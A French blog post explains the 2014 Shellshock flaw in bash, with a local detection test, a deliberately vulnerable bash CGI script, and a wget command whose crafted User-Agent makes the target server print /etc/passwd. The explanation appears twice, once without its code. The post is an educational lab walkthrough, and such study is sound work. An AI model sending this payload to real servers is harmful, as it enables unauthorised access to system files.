La vague Shellshock est passée. Mais ce cas reste très intéressant à étudier et comprendre. C’est pourquoi je le partage avec vous mon expérimentation. Souvenez-vous que cette faille était présente dans “bash” depuis 25 ans. Ca fait frémir!
Comment détecter que votre serveur est faillible?
Normalement lorsque dans une console “bash” vous saisissez:
Vous obtenez:
Alors que si vous entrez:
Vous obtenez:
et vous êtes faillible
Pourquoi? Explications
La chaine magique “(){ code;} permet de faire en sorte que le code qui la suit est exécuté dans le “bash”. Cette chaîne correspond à la déclaration d’une méthode.
Comment monter un exemple d’attaque?
Du côté de votre serveur “cible” faillible, créer un site web (un petit script “cgi”) qui contient:
Vous notez que votre “cgi” est en “#!/bin/bash”
Du côté de votre machine attaquante, vous lancez la commande:
Et vous récupérez un fichier “test.cgi” qui contient, devinez-quoi, le contenu du fichier “/etc/passwd” de la machine “cible”. Vous comprendrez pourquoi je ne présente pas dans cet article le contenu de mon fichier “/etc/passwd”.
Pour comprendre ce qui vient de se passer, vous pouvez avec Wireshark enregistrer les requètes échangées et on y trouve:
Pourquoi? Explications
L’option “–U” de la requète “wget” permet de préciser le “user-agent”. Le protocole HTTP autorise en effet les clients à s’identifier eux-mêmes en utilisant le champ “User-Agent” du “header”
Et les spécifications de “CGI” font correspondre aux champs du “header” une variable d’environnement. Et paf, notre chaîne magique du type “() { code;}“ peut être exécutée dans chacune de ces variables d’environnement
C’est gagné!
Sources:
Comment détecter que votre serveur est faillible?
Normalement lorsque dans une console “bash” vous saisissez:
1: env x=’ceci est un test’
Vous obtenez:
1: ceci est un test
Alors que si vous entrez:
1: env x='() { :;}; echo vulnerable' bash -c "echo ceci est un test"
Vous obtenez:
1: vulnerable
2: ceci est un test
et vous êtes faillible
Pourquoi? Explications
La chaine magique “(){ code;} permet de faire en sorte que le code qui la suit est exécuté dans le “bash”. Cette chaîne correspond à la déclaration d’une méthode.
Comment monter un exemple d’attaque?
Du côté de votre serveur “cible” faillible, créer un site web (un petit script “cgi”) qui contient:
1: #!/bin/bash
2: echo "Content-type: text/plain"
3: echo
4: echo
5: echo
6: "Coucou"
Vous notez que votre “cgi” est en “#!/bin/bash”
Du côté de votre machine attaquante, vous lancez la commande:
1: wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://adresse_de_la_cible/cgi-bin/test.cgi
Et vous récupérez un fichier “test.cgi” qui contient, devinez-quoi, le contenu du fichier “/etc/passwd” de la machine “cible”. Vous comprendrez pourquoi je ne présente pas dans cet article le contenu de mon fichier “/etc/passwd”.
Pour comprendre ce qui vient de se passer, vous pouvez avec Wireshark enregistrer les requètes échangées et on y trouve:
Pourquoi? Explications
L’option “–U” de la requète “wget” permet de préciser le “user-agent”. Le protocole HTTP autorise en effet les clients à s’identifier eux-mêmes en utilisant le champ “User-Agent” du “header”
Et les spécifications de “CGI” font correspondre aux champs du “header” une variable d’environnement. Et paf, notre chaîne magique du type “() { code;}“ peut être exécutée dans chacune de ces variables d’environnement
C’est gagné!
Sources:
- http://www.gnu.org/software/wget/manual/wget.pdf
- http://seclists.org/oss-sec/2014/q3/650
- http://shellshocker.net
Aucun commentaire:
Enregistrer un commentaire